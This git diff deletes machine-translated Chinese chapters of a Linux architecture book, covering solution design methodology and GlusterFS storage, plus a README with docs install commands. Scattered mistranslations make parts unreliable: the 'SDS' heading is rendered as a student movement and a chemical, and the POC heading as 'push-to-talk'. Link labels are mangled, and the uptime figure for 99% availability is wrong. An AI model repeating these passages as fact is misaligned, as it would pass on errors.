issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/handson-linux-admin-azure/SUMMARY.md b/docs/handson-linux-admin-azure/SUMMARY.md deleted file mode 100644 index ee2c9565..00000000 --- a/docs/handson-linux-admin-azure/SUMMARY.md +++ /dev/null @@ -1,14 +0,0 @@ -+ [Azure 上的 Linux 管理实用指南](README.md) -+ [零、前言](00.md) -+ [一、探索微软 Azure 云](01.md) -+ [二、Azure 云入门](02.md) -+ [三、Linux 基础管理](03.md) -+ [四、管理 Azure](04.md) -+ [五、高级 Linux 管理](05.md) -+ [六、管理 Linux 安全与身份](06.md) -+ [七、部署你的虚拟机](07.md) -+ [八、探索持续配置自动化](08.md) -+ [九、Azure 中的容器虚拟化](09.md) -+ [十、使用 Azure Kubernetes 服务](10.md) -+ [十一、故障排除和监控您的工作负载](11.md) -+ [十二、附录](12.md) diff --git a/docs/handson-linux-arch/00.md b/docs/handson-linux-arch/00.md deleted file mode 100644 index 72a9240f..00000000 --- a/docs/handson-linux-arch/00.md +++ /dev/null @@ -1,142 +0,0 @@ -# 零、前言 - -欢迎来到*架构师 Linux 实践*,深入了解架构师在处理基于 Linux 的解决方案时的想法。这本书将帮助您达到设计和实施不同的信息技术解决方案所需的知识水平。 - -此外,它将向您展示开源软件的灵活性,展示行业中一些最广泛使用的产品,向您展示解决方案并分析每个方面,从设计阶段的最开始,一直到实施阶段,我们将从头开始构建设计中提出的基础架构。 - -深入研究设计解决方案的技术方面,我们深入剖析每个方面的细节,以实现和调整基于开源 Linux 的解决方案。 - -# 这本书是给谁的 - -这本书面向 Linux 系统管理员、Linux 支持工程师、DevOps 工程师、Linux 顾问和任何其他类型的开源技术专业人员,他们希望学习或扩展他们在基于 Linux 和开源软件的解决方案的架构、设计和实施方面的知识。 - -# 这本书涵盖了什么 - -[第 1 章](01.html)、*设计方法论导论*开篇分析了一个提出的问题,以及设计解决方案时应该问哪些正确的问题,以便提取必要的信息来定义正确的问题陈述。 - -[第 2 章](02.html)、*定义 GlusterFS 存储*,介绍了什么是 GlusterFS 并定义了存储集群。 - -[第 3 章](03.html)、*构建存储集群*,探讨了使用 GlusterFS 及其各种组件实现集群存储解决方案的设计方面。 - -[第 4 章](04.html)、*在云基础设施*上使用 GlusterFS,解释了在云上实现 GlusterFS 所需的配置。 - -[第 5 章](05.html)、*分析 Gluster 系统*中的性能,详细介绍了之前配置的解决方案,解释了已经到位的配置,并测试了性能实现。 - -[第 6 章](06.html)、*创建高可用性自愈架构*,讲述了 IT 行业如何从使用单一应用发展为云原生、容器化、高可用性的微服务。 - -[第 7 章](07.html)、*了解 Kubernetes 集群的核心组件*,探讨 Kubernetes 的核心组件,给出每个组件的视图,以及它们如何帮助我们解决客户的问题。 - -[第 8 章](08.html)、*构建 Kubernetes 集群*,深入探讨 Kubernetes 集群的需求和配置。 - -[第 9 章](09.html)、*部署和配置 Kubernetes* ,介绍 Kubernetes 集群的实际安装和配置。 - -[第 10 章](10.html)、*使用 ELK 栈进行监控*,解释了弹性栈的每个组件是什么以及它们是如何连接的。 - -[第 11 章](11.html)*设计 ELK 栈*,介绍了部署弹性栈时的设计考虑事项。 - -[第 12 章](12.html)、*使用 Elasticsearch、Logstash 和 Kibana 管理日志*,介绍了 Elastic Stack 的实现、安装和配置。 - -[第 13 章](13.html)、*用 Salt Solutions*解决管理问题,讨论了对基础设施(如 Salt)进行集中管理的业务需求。 - -[第 14 章](14.html)*让你的手变咸*,考察如何安装和配置 Salt。 - -[第 15 章](15.html)*设计最佳实践*,带您了解设计弹性和防故障解决方案所需的一些不同的最佳实践。 - -# 充分利用这本书 - -需要一些基本的 Linux 知识,因为这本书没有解释 Linux 管理的基础。 - -本书中给出的例子既可以在云中实现,也可以在内部实现。一些设置部署在微软的云平台 Azure 上,因此建议在 Azure 上有一个帐户来遵循这些示例。Azure 确实提供了在提交前评估和测试部署的免费试用,更多信息可以在[https://azure.microsoft.com/free/](https://azure.microsoft.com/free/)找到。 [](https://azure.microsoft.com/free/) 此外,更多关于天蓝色产品的信息,请访问:[https://azure.microsoft.com](https://azure.microsoft.com)[。](https://azure.microsoft.com/free/) - -因为这本书完全围绕着 Linux,所以有一种连接到互联网的方式是一个要求。这可以通过 Linux 桌面(或笔记本电脑)、macOS 终端或**Linux Windows 子系统** ( **WSL** )来完成。 - -本书中展示的所有例子都使用了开源软件,这些软件可以很容易地从可用的存储库或它们各自的来源获得,而不需要付费许可证。 - -一定要访问项目页面来表达你的爱——花了很多精力来开发它们: - -* [https://github . com/gluter/gluters](https://github.com/gluster/glusterfs) -* [https://github . com/ZFS/ZFS](https://github.com/zfsonlinux/zfs) -* [https://github . com/kublets/kublets](https://github.com/kubernetes/kubernetes) -* [https://github . com/flexfield/flexfield search](https://github.com/elastic/elasticsearch) -* [https://github . com/salt/t1】](https://github.com/saltstack/salt) - -# 下载示例代码文件 - -你可以从你在[www.packt.com](http://www.packt.com)的账户下载这本书的示例代码文件。如果您在其他地方购买了这本书,您可以访问[www.packt.com/support](http://www.packt.com/support)并注册将文件直接通过电子邮件发送给您。 - -您可以按照以下步骤下载代码文件: - -1. 登录或注册[www.packt.com](http://www.packt.com)。 -2. 选择“支持”选项卡。 -3. 点击代码下载和勘误表。 -4. 在搜索框中输入图书的名称,并按照屏幕指示进行操作。 - -下载文件后,请确保使用最新版本的解压缩文件夹: - -* 视窗系统的 WinRAR/7-Zip -* zipeg/izp/un ARX for MAC -* 适用于 Linux 的 7-Zip/PeaZip - -这本书的代码包也在 GitHub 上托管,网址为[。如果代码有更新,它将在现有的 GitHub 存储库中更新。](https://github.com/PacktPublishing/-Hands-On-Linux-for-Architects) - -我们还有来自丰富的图书和视频目录的其他代码包,可在**[【https://github.com/PacktPublishing/】](https://github.com/PacktPublishing/)**获得。看看他们! - -# 下载彩色图像 - -我们还提供了一个 PDF 文件,其中包含本书中使用的截图/图表的彩色图像。可以在这里下载:[https://www . packtpub . com/sites/default/files/downloads/9781789534108 _ color images . pdf](https://www.packtpub.com/sites/default/files/downloads/9781789534108_ColorImages.pdf)[。](https://www.packtpub.com/sites/default/files/downloads/9781789534108_ColorImages.pdf) - -# 使用的约定 - -本书通篇使用了许多文本约定。 - -`CodeInText`:表示文本中的码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟网址、用户输入和推特句柄。举个例子:“这个命令的两个关键点是`address-prefix` 旗和`subnet-prefix`旗。” - -代码块设置如下: - -```sh -apiVersion: v1 -kind: PersistentVolumeClaim -metadata: - name: gluster-pvc -spec: - accessModes: - - ReadWriteMany - resources: - requests: - storage: 1Gi -``` - -当我们希望将您的注意力吸引到代码块的特定部分时,相关的行或项目以粗体显示: - -```sh - SHELL ["/bin/bash", "-c"] - RUN echo "Hello I'm using bash" -``` - -任何命令行输入或输出都编写如下: - -```sh -yum install -y zfs -``` - -**粗体**:表示一个新的术语、一个重要的单词或者你在屏幕上看到的单词。例如,菜单或对话框中的单词像这样出现在文本中。下面是一个示例:“要确认数据正在发送到群集,请转到基巴纳屏幕上的发现” - -Warnings or important notes appear like this. Tips and tricks appear like this. - -# 取得联系 - -我们随时欢迎读者的反馈。 - -**一般反馈**:如果你对这本书的任何方面有疑问,在你的信息主题中提到书名,发邮件给我们`customercare@packtpub.com`。 - -**勘误表**:虽然我们已经尽了最大的努力来保证内容的准确性,但是错误还是会发生。如果你在这本书里发现了一个错误,如果你能向我们报告,我们将不胜感激。请访问[www.packt.com/submit-errata](http://www.packt.com/submit-errata),选择您的图书,点击勘误表提交链接,并输入详细信息。 - -**盗版**:如果您在互联网上遇到任何形式的我们作品的非法拷贝,如果您能提供我们的位置地址或网站名称,我们将不胜感激。请通过`copyright@packt.com`联系我们,并提供材料链接。 - -**如果你有兴趣成为一名作者**:如果有一个你有专长的话题,你有兴趣写或者投稿一本书,请访问[authors.packtpub.com](http://authors.packtpub.com/)。 - -# 复习 - -请留下评论。一旦你阅读并使用了这本书,为什么不在你购买它的网站上留下评论呢?然后,潜在的读者可以看到并使用您不带偏见的意见来做出购买决定,我们在 Packt 可以了解您对我们产品的看法,我们的作者可以看到您对他们的书的反馈。谢谢大家! - -更多关于 Packt 的信息,请访问[packt.com](http://www.packt.com/)。 \ No newline at end of file diff --git a/docs/handson-linux-arch/01.md b/docs/handson-linux-arch/01.md deleted file mode 100644 index 5cf2b8b2..00000000 --- a/docs/handson-linux-arch/01.md +++ /dev/null @@ -1,186 +0,0 @@ -# 一、设计方法论概述 - -如今,信息技术解决方案需要提高性能和数据可用性,而设计满足这些要求的强大实施是许多信息技术专家每天都要经历的挑战。 - -在本章中,您将学习基础知识,从在任何类型的环境中构建信息技术解决方案的鸟瞰图,到虚拟化基础架构、裸机,甚至公共云,因为解决方案设计的基本概念适用于任何环境。 - -您将探索以下主题: - -* 定义解决方案设计的各个阶段及其重要性 -* 分析问题并提出正确的问题 -* 考虑可能的解决方案 -* 实施解决方案 - -充分了解设计解决方案时需要考虑的方面对于项目的成功至关重要,因为这将决定哪些软件、硬件和配置将帮助您实现满足客户需求的理想状态。 - -# 定义解决方案设计的各个阶段及其重要性 - -像许多事情一样,设计解决方案是一个循序渐进的过程,不仅涉及:技术方面,也不一定涉及技术方。通常,你会被一个客户经理,项目经理,或者,如果你幸运的话,一个 CTO 雇佣,他了解需求的技术部分。他们正在寻找能够帮助他们向客户交付解决方案的专家。这些请求通常不包含交付解决方案所需的所有信息,但这是了解您的目标的开始。 - -例如,假设您收到一封来自项目经理的电子邮件,其中包含以下语句。 - -We require a solution that can sustain at least 10,000 website hits and will stay available during updates as well as survive outages. Our budget is considerably low, so we need to spend as little as possible, with little to no upfront cost. We're also expecting this to gain momentum during the project's life cycle. - -从前面的陈述中,你只能大致了解需要什么,但没有给出具体细节。因此,您只知道基本信息:我们需要一个能够维持至少 10,000 次网站点击的解决方案,对于一个设计来说,这还不够好,因为您需要尽可能多的信息来解决客户暴露的问题。在这种情况下,您必须要求尽可能多的细节,以便能够为您的客户提供一套准确的建议,这将是您的客户对项目的第一印象。这一部分至关重要,因为它将帮助您了解您是否理解客户的愿景。 - -了解您需要为客户提供几种不同的解决方案也很重要,因为客户是决定哪种解决方案最适合他们的业务需求的人。请记住,每种解决方案都有其优缺点。在客户决定走哪条路之后,您将有必要继续实施您的提案,这总是会引发更多挑战。它通常需要一些在最初的**概念验证** ( **概念验证**)中没有考虑到的最终定制调优或更改。 - -从我们之前的分析中,您可以看到为了实现下图所示的最终交付,您需要遵循的流程的四个明确定义的阶段: - -![](img/10f5e07b-3251-4c6b-9cb7-a1133da3cc73.png) - -我们可以涵盖更多的阶段和设计方法,但由于它们不在本书的范围内,我们将重点关注这四个一般阶段,以帮助您了解构建解决方案的过程。 - -# 分析问题并提出正确的问题 - -得到初始前提后,你需要把它分解成更小的部分,以便理解需要什么。每件作品都会提出不同的问题,您稍后会向客户提问。这些问题将有助于填补您的概念验证的空白,确保您的问题涵盖所有观点的所有业务需求:业务观点、功能观点以及最后的技术观点。跟踪出现的问题和他们将解决的业务需求的一个好方法是有一个检查表,询问问题是从哪个角度提出的,以及解决或回答了什么。 - -同样重要的是要注意,随着问题成为答案,它们也会带来限制或其他障碍,这些也需要在概念验证阶段解决和提及。客户必须同意他们的意见,并在选择最终解决方案时具有决定性。 - -从我们前面的例子中,你可以通过将前提分解成观点来分析它。 - -We require a solution that can sustain at least 10,000 website hits and will stay available during updates as well as survive outages. Our budget is considerably low, so we need to spend as little as possible, with little to no upfront cost. We're also expecting this to gain momentum during the project's life cycle. - -# 技术立场 - -从这个角度来看,我们将分析前提的所有技术方面,即您需要提供解决方案的初始技术要求的任何方面。 - -我们将按照以下方式进行分析: - -* 从前提来看,您可以理解您的客户需要某种能够维持一定网站点击量的解决方案,但您不能确定网络服务器是否已经设置好,以及客户是否只需要负载平衡解决方案。或者,客户可能需要两者,一个 web 服务器,即 NGINX、Apache 或类似的东西,以及负载平衡解决方案。 -* 客户提到他们的网站至少有 10,000 次点击,但他们没有提到这些点击是每秒、每天、每周,还是每月都有。 -* 您还可以看到,他们需要在更新期间保持可用,并且如果公司停机,能够继续为他们的网站提供服务,但是所有这些说法都非常笼统,因为可用性是以 9s 来衡量的。你的 9 分越多越好(实际上,这是一年中时间的百分比;99%的可用性意味着每年只能有 526 分钟的停机时间)。停电也很难预测,几乎不可能说你永远不会停电,因此,你需要做好规划。万一发生灾难,您的解决方案必须有一个**恢复点目标** ( **RPO** )和一个**恢复时间目标** ( **RTO** )。客户没有提到这一点,了解一家企业能够承受停机的时间是至关重要的。 -* 说到预算,这通常是从业务的角度,但技术方面直接受其影响。看起来项目中的预算很紧张,客户希望在他们的解决方案上花费尽可能少的钱,但是他们没有提到确切的数字,而您需要这些数字来适应您的建议。前期成本很少甚至没有?这是什么意思?我们是否正在重新利用现有资源并构建新的解决方案?我们如何在没有前期成本的情况下实施设计?克服低预算或无前期成本(至少在软件方面)的一种方法是利用**开源软件** ( **OSS** ),但这是我们需要问客户的问题。 -* 获得动力只能意味着他们预测他们的用户群最终会增长,但是您需要估计他们预测的增长幅度和速度,因为这意味着您必须让解决方案做好纵向或横向扩展的准备。纵向上,通过留出空间来增加资源,最终,如果您需要购买更多的资源,如内存、中央处理器或存储,请考虑企业的采购流程。横向来看,还需要一个采购流程和大量时间将新节点/服务器/虚拟机/容器集成到解决方案中。这些都不包括在前提中,这是至关重要的信息。 - -这里,我们对水平和垂直缩放进行了比较。水平扩展增加了更多节点,而垂直扩展为现有节点增加了更多资源: - -![](img/7e6d22ed-5063-482e-b90c-c8e875117258.png) - -以下是您可以提出来澄清灰色区域的示例问题列表: - -* 此解决方案适用于新的/现有的网站或网络服务器吗? -* 当你说 10,000 次点击时,这些是每秒并发还是每天/每周/每月? -* 你对你的用户群有什么估计或当前数据吗? -* 考虑到预算低,我们可以使用 OSS 吗? -* 如果我们使用操作系统,您是否有技术资源来支持该解决方案? -* 您是否有任何类型的更新基础设施,或者版本控制软件已经实施? -* 当您说很少或没有前期成本时,这是否意味着您已经有硬件、资源或基础架构(虚拟或云)可供我们回收和/或重新用于我们的新解决方案? -* 我们有没有可以用来提供高可用性的灾难恢复站点? -* 如果您的用户群增长,这会产生更多的存储需求还是只会产生计算资源? -* 您计划执行任何备份吗?你的备份方案是什么? - -从技术角度来看,一旦您开始设计概念验证,将会出现更多基于解决方案中使用的软件或硬件的问题。您需要知道它们如何适合,或者需要什么来适应客户的现有基础架构(如果有)。 - -# 商业立场 - -在这里,我们将从业务角度分析该陈述,考虑可能影响我们设计的所有方面: - -* 一个主要的需求是性能,因为这影响了解决方案能够支持的点击量。由于这是解决方案的主要目标之一,因此需要对其进行调整以满足业务期望。 -* 预算似乎是影响项目设计和范围的主要制约因素。 -* 没有提到实际可用的预算。 -* 可用性要求会影响业务在发生停机时的反应。由于没有具体的**服务水平协议** ( **SLA** ),这需要澄清以适应业务需求。 -* 一个主要问题是前期成本。利用开放源码软件可以大大降低这一成本,因为没有许可费。 -* 有人提到,该解决方案需要在维护操作期间保持运行。这可能表明客户愿意为进一步升级或增强而投资维护操作。 -* 该声明——我们也预计这将获得动力——表明解决方案所需的资源量将发生变化,从而直接影响其消耗的资金量。 - -以下是从业务角度澄清疑问时要问的问题: - -* 根据性能要求,当性能低于预期基线时,会对业务产生什么影响? -* 这个项目的实际预算是多少? -* 预算是否考虑了维护操作? -* 考虑到可能的计划外停机和维护,您的网站每年到底能停机多长时间?这会影响业务连续性吗? -* 如果发生宕机,应用可以容忍多长时间不接收数据? -* 我们是否有任何类型的数据可以用来估计你的用户群会增长多少? -* 你有采购流程吗? -* 批准购买新硬件或资源需要多长时间? - -# 功能观点 - -从功能的角度来看,您将回顾解决方案的功能方面: - -* 你知道客户需要 10,000 次点击,但是什么类型的用户会使用这个网站? -* 您可以看到它需要 10,000 次点击,但是前提没有指定用户将使用它做什么。 -* 前提是他们需要解决方案在更新期间可用。由此,我们假设应用将被更新,但是如何更新呢? - -为了澄清功能方面的差距,我们可以询问以下信息: - -* 什么类型的用户将使用您的应用? -* 你的用户会在你的网站上做什么? -* 该应用多久更新或维护一次? -* 谁将维护和支持该解决方案? -* 这个网站是面向公司内部用户还是外部用户? - -需要注意的是,功能观点与业务观点有很大的重叠,因为它们都试图解决相似的问题。 - -一旦我们收集了所有信息,您就可以构建一个文档来总结您的解决方案的需求;确保您与客户一起完成,并且他们同意完成此解决方案所需的内容。 - -# 考虑可能的解决方案 - -一旦在最初前提中出现的所有疑问都被清除,你就可以继续前进,构建一个更详细和具体的陈述,其中包括所有收集到的信息。我们将继续使用我们之前的陈述,假设我们的客户回答了我们之前的所有问题,我们可以构建一个更详细的陈述,如下所示。 - -We require a new web server for our financial application that can sustain at least 10,000 web hits per second from approximately 2,000 users, alongside another three applications that will consume its data. It will be capable of withstanding maintenance and outages through the use of high-availability implementations with a minimum of four nodes. The budget for the project will be $20,000 for the initial implementation, and the project will utilize OSS, which will lower upfront costs. The solution will be deployed in an existing virtual environment, whose support will be handled by our internal Linux team, and updates will be conducted internally by our own update management solution. The userbase will grow approximately every two months, which is within our procurement process, allowing us to acquire new resources fairly quickly, without creating extensive periods of resource contention. User growth will impact mostly computer resources. - -如您所见,这是一个更完整的陈述,您已经可以开始工作了。您知道它将利用现有的虚拟基础架构。开放源码软件是可行的,高可用性也是必需的,它将通过已经存在的更新和版本控制基础设施进行更新,因此,您的新解决方案可能只需要监控代理。 - -下面是一个非常简单的概述,没有多少可能的设计细节: - -![](img/090ba4e5-d8ae-43c6-a618-c79115c2e1e8.png) - -在图中,您可以看到它是一个 web 服务器集群,为使用该解决方案的客户端和应用提供高可用性和负载平衡。 - -由于您已经利用了大量现有基础架构,因此可能的概念验证选项较少,因此这种设计将非常简单。尽管如此,我们可以利用某些变量为客户提供几种不同的选择。例如,对于网络服务器,我们可以有一个 Apache 解决方案和另一个 NGINX 解决方案,或者两者结合,Apache 托管网站,NGINX 提供负载平衡。 - -# 无线一键通 - -有了一个完整的陈述和几个已经定义的选项,我们可以继续提供基于一个可能路线的概念验证。 - -概念验证是展示一个想法或方法的过程,在我们的案例中是一个解决方案,目的是验证给定的功能。此外,它还提供了解决方案在环境中的行为的广泛概述,从而允许进一步的测试能够针对特定的工作负载和用例进行微调。 - -任何概念验证都有其优点和缺点,但主要的焦点是让客户和架构师探索实际工作环境的解决方案的不同概念。需要注意的是,作为架构师,您对 POC 将用作最终解决方案有很大的影响,但是客户是选择哪些约束和优势更适合其业务的人。 - -以选择一个 NGINX 作为负载平衡器来为托管应用文件的 Apache web 服务器提供高可用性和性能改进为例,我们可以实现一个具有缩减资源的工作解决方案。我们可以不为最终解决方案部署四个节点,而只部署两个节点来演示负载平衡功能,并通过特意减少其中一个节点来提供高可用性的实际演示。 - -下面的图表描述了前面的例子: - -![](img/5fbbd53f-4037-48bc-81b0-a4b85c51d757.png) - -这不需要设计阶段设想的完整的四节点集群,因为我们没有测试整个解决方案的全部性能。对于性能或负载测试,这可以通过让较少的并发用户为应用提供接近实际的工作负载来实现。虽然拥有更少的用户永远无法为整个实施提供准确的性能数据,但它提供了一个很好的基线,数据可以在以后进行外推,以提供实际性能的近似值。 - -作为性能测试的一个例子,我们可以拥有四分之一的用户群和一半的资源,而不是让 2000 个用户加载应用。这将大大减少所需的资源量,同时提供足够的数据来分析最终解决方案的性能。 - -此外,在信息收集阶段,记录不同概念验证的文档是一个好主意,因为如果客户将来想要构建类似的解决方案,它可以作为一个起点。 - -# 实施解决方案 - -一旦客户根据他们的业务需求选择了最佳路线,我们就可以开始构建我们的设计。在这个阶段,您将面临不同的障碍,因为在开发或质量保证环境中实施概念验证可能与生产环境不同。在质量保证或开发中有用的东西现在可能会在生产中失败,不同的变量可能会出现;所有这些都只在实现阶段出现,您需要意识到,在最坏的情况下,这可能意味着改变大量的初始设计。 - -这个阶段需要与客户和客户的环境进行实际操作,因此确保您所做的更改不会影响当前的生产至关重要。与客户合作也很重要,因为这将使他们的 IT 团队熟悉新的解决方案;这样,当签核完成时,他们将熟悉它及其配置。 - -创建实施指南是此阶段最重要的部分之一,因为它将记录解决方案的每个步骤和每个次要配置。如果将来出现问题,并且支持团队需要知道它是如何配置的,以便能够解决问题,这也将有所帮助。 - -# 摘要 - -设计解决方案需要不同的方法。本章介绍了设计阶段的基础知识,以及为什么每个阶段都很重要。 - -第一阶段是分析设计要解决的问题,同时提出正确的问题。这将有助于定义实际需求,并将范围缩小到真正的业务需求。使用最初的问题陈述将会进一步带来问题,使这个阶段变得极其重要,因为它将防止不必要的来回。 - -然后,我们考虑了解决已定义问题的可能途径或解决方案。有了前一阶段提出的正确问题,我们应该能够构建几个选项供客户选择,并可以在以后实施概念验证。概念验证有助于客户和架构师了解解决方案在实际工作环境中的表现。通常,概念验证是最终解决方案的缩小版本,使实施和测试更加敏捷。 - -最后,实施阶段处理项目的实际配置和实践方面。根据概念验证期间的调查结果,可以进行更改以适应每个基础架构的具体情况。通过此阶段交付的文档将有助于协调各方,以确保解决方案按预期实施。 - -在下一章中,我们将跳到解决一个影响每种实施类型的问题,无论云提供商、软件或设计如何,展示高性能冗余存储的必要性。 - -# 问题 - -1. 解决方案设计有哪些阶段? -2. 为什么在设计解决方案时问正确的问题很重要? -3. 为什么我们要提供几种设计选择? -4. 可以问哪些问题来获得有助于设计更好解决方案的信息? -5. 什么是概念验证? -6. 实施阶段会发生什么? -7. poco 如何帮助最终实施 - -# 进一步阅读 - -在随后的章节中,我们将经历为特定问题创建解决方案的过程。由于这些解决方案将在 Linux 中实现,我们推荐阅读*奥利弗·佩兹*T4【https://www . packtpub . com/networking-and-servers/foundation-Linux[的*Linux 基础知识。*](https://www.packtpub.com/networking-and-servers/fundamentals-linux) \ No newline at end of file diff --git a/docs/handson-linux-arch/02.md b/docs/handson-linux-arch/02.md deleted file mode 100644 index 9b76e0a3..00000000 --- a/docs/handson-linux-arch/02.md +++ /dev/null @@ -1,411 +0,0 @@ -# 二、定义 GlusterFS 存储 - -每天,应用都需要更快的存储来支持数千个并发输入/输出请求。GlusterFS 是一个高度可扩展的冗余文件系统,可以同时向许多客户端提供高性能的输入/输出。我们将定义集群的核心概念,然后介绍 GlusterFS 如何发挥重要作用。 - -在前一章中,我们讨论了设计解决方案的不同方面,以向有许多需求的应用提供高可用性和高性能。在本章中,我们将通过解决一个非常具体的问题,即存储。 - -在本章中,我们将涵盖以下主题: - -* 理解集群的核心概念 -* 选择 GlusterFS 的原因 -* 解释**软件定义存储** ( **SDS** ) -* 探索文件、对象和块存储之间的差异 -* 解释对高性能和高可用性存储的需求 - -# 技术要求 - -本章将着重于定义 GlusterFS。您可以在[https://github.com/gluster/glusterfs](https://github.com/gluster/glusterfs)或[https://www.gluster.org/](https://www.gluster.org/)查阅项目主页。 - -此外,项目文件可在[https://docs.gluster.org/en/latest/](https://docs.gluster.org/en/latest/)找到。 - -# 什么是集群? - -我们可以利用 SDS 的许多优势,它允许轻松的可扩展性和增强的容错能力。GlusterFS 是一款软件,可以创建高度可扩展的存储集群,同时提供最高性能。 - -在我们讨论如何解决这一特定需求之前,我们首先需要定义什么是集群,它为什么存在,以及集群可能解决什么问题。 - -# 计算集群 - -简而言之,集群是一组计算机(通常称为节点),它们在相同的工作负载上协同工作,并且可以在集群的所有可用成员之间分配负载以提高性能,同时允许自我修复和可用性。请注意,术语**服务器**以前没有使用过,因为实际上,任何计算机都可以添加到集群中。从一个简单的树莓皮到多个中央处理器服务器,集群可以从一个小的双节点配置到数据中心的数千个节点。 - -以下是一个集群示例: - -![](img/d1b1a48f-f1dc-40ea-971b-5bc322251318.png) - -从技术上讲,集群允许工作负载通过添加具有相似资源特征的同类服务器来扩展性能。理想情况下,群集将具有同类硬件,以避免节点具有不同性能特征的问题,同时使维护相当一致,这意味着硬件具有相同的 CPU 系列、内存配置和软件。向集群添加节点的想法允许您计算工作负载以减少其处理时间。根据不同的应用,计算时间有时甚至会线性减少。 - -为了进一步理解集群的概念,假设您有一个获取历史财务数据的应用。然后,应用接收这些数据,并基于存储的信息创建预测。在单个节点上,预测过程(集群上的过程通常被称为作业)大约需要六天才能完成,因为我们要处理几个 1tb 的数据。添加一个具有相同特征的额外节点将处理时间减少到四天。添加第三个节点进一步将完成时间减少到三天。 - -请注意,虽然我们增加了三倍的计算资源,但计算时间仅减少了大约一半。一些应用可以线性扩展性能,而其他应用则没有相同的可扩展性,需要越来越多的资源来获得更少的收益,甚至达到收益递减的程度。增加更多的资源来获得最小的时间增益是不划算的。 - -考虑到所有这些,我们可以指出定义集群的几个特征: - -* 它可以通过增加计算资源来帮助减少处理时间 -* 它可以垂直和水平缩放 -* 它可以是冗余的,也就是说,如果一个节点出现故障,其他节点应该承担工作负载 -* 它可以为应用提供更多的资源 -* 它是一个资源池,而不是单独的服务器 -* 它没有单点故障 - -# 存储集群 - -现在,我们已经了解了如何计算集群,让我们继续讨论集群的另一个应用。 - -存储集群的主要功能不是聚合计算资源来减少处理时间,而是聚合可用空间来提供最大的空间利用率,同时提供某种形式的冗余。随着对存储大量数据需求的增加,需要能够以更低的成本实现这一点,同时仍然保持更高的数据可用性。存储群集允许单个单体存储节点作为一个大的可用存储空间池一起工作,从而有助于解决这个问题。因此,它允许存储解决方案达到 petascale 标准,而无需部署专门的专有硬件。 - -例如,假设我们有一个具有 500 TB 可用空间的节点,我们需要在提供冗余的同时达到 1- **Petabyte** ( **PB** )标记。这个单独的节点成为单点故障,因为如果它发生故障,就无法访问数据。此外,我们已经达到了最大的**硬盘驱动器** ( **硬盘**)可用容量。换句话说,我们不能横向扩展。 - -为了解决这个问题,我们可以再添加两个配置相同的节点,因为现有的节点总共提供了 1 PB 的可用空间。现在,让我们在这里做一些数学计算,500 TB 乘以 3 应该大约是 1.5 PB,对吗?答案绝对是肯定的。但是,由于我们需要为该解决方案提供高可用性,第三个节点充当备份,使该解决方案能够容忍单节点故障,而不会中断客户端的通信。这种允许节点故障的能力完全得益于 SDS 和存储集群(如 GlusterFS)的强大功能,我们将在接下来探讨这一点。 - -# 什么是 GlusterFS? - -GlusterFS 是 Gluster 的一个开源项目,于 2011 年被红帽公司收购。此次收购并不意味着您必须获得红帽订阅或向红帽付费才能使用它,因为如前所述,它是一个开源项目;因此,您可以自由地安装它,查看它的源代码,甚至为项目做出贡献。虽然红帽提供基于 GlusterFS 的付费解决方案,但我们将在本章中讨论**开源软件** ( **OSS** )和项目本身。 - -下图是 Gluster 项目中**贡献者**和**承诺**的数量: - -![](img/a6c3ccf4-03a9-4fef-b25f-b5ec04db0748.png) - -要理解 GlusterFS,我们必须了解它与传统存储有何不同。为此,我们需要理解 SDS 背后的概念,包括什么是 GlusterFS。 - -传统存储是行业标准的存储阵列,其中包含与硬件供应商绑定的专有软件。所有这些都将您限制在由您的存储提供商设置的以下规则集内: - -1. 可扩展性限制 -2. 硬件兼容性限制 -3. 客户端操作系统限制 -4. 配置限制 -5. 供应商锁定 - -# 学生争取民主社会运动(Students for a Democratic Society)ˌ十二烷基磺酸钠(Sodium Dodecyl Sulfonate) - -有了 SDS,许多(如果不是全部的话)前面的限制都消失了,因为它不依赖于任何硬件,提供了令人印象深刻的可扩展性。从根本上说,您可以从任何供应商处获得包含所需存储的行业标准服务器,并将其添加到您的存储池中。只做这一个简单的步骤,你就已经克服了前面的四个限制。 - -# 成本降低 - -来自 *SDS* 部分的示例极大地降低了**运营费用** ( **OPEX** )成本,因为您不必为现有供应商存储阵列购买额外的高价扩展架,而这些扩展架可能需要数周时间才能到达并安装。您可以快速找到存储在数据中心角落的服务器,并使用它为现有应用提供存储空间。这个过程被称为插件可伸缩性,存在于大多数开源 SDS 项目中。理论上,当涉及到 SDS 的可扩展性时,天空是极限。 - -# 可量测性 - -当您向存储池添加新服务器时,SDS 会进行扩展,并且还会提高存储集群的恢复能力。根据您的配置,数据分布在多个成员节点上,通过镜像或为数据创建奇偶校验来提供额外的高可用性。 - -# 控制 - -您还需要了解,SDS 不会凭空创造空间,也不会将存储的概念与硬件分开,例如硬盘、**固态硬盘** ( **SSD** )或任何旨在存储信息的硬件设备。这些硬件设备将永远是存储实际数据的地方。SDS 添加了一个逻辑层,允许您控制存储这些数据的位置和方式。它通过其最基本的组件来利用这一点,也就是说,通过一个**应用编程接口** ( **API** )允许您管理和维护您的存储集群和逻辑卷,这些存储集群和逻辑卷为您的其他服务器、应用甚至监控代理提供存储容量,这些代理在性能下降时可以自我修复集群。 - -# 市场正朝着 SDS 方向发展 - -SDS 是未来,这是存储行业的发展方向。事实上,据预测,在未来几年,大约 70%的当前存储阵列将作为纯软件解决方案或**虚拟存储设备** ( **VSAs** )提供。传统的**网络连接存储** ( **网络连接存储**)解决方案比当前的 SDS 实施贵 30%,中端磁盘阵列甚至更贵。考虑到所有这些因素,再加上企业数据消耗每年增长约 40%,成本仅下降 25%,您可以理解为什么我们在不久的将来会走向 SDS 世界。 - -随着运行公共云、私有云和混合云的应用数量的增加,消费者和企业的数据消费呈指数级持续增长。这些数据通常是任务关键型的,需要高水平的弹性。以下是其中一些应用的列表: - -* 电子商务和在线商店 -* 金融应用 -* 企业资源计划 -* 卫生保健 -* 大数据 -* 客户关系管理 - 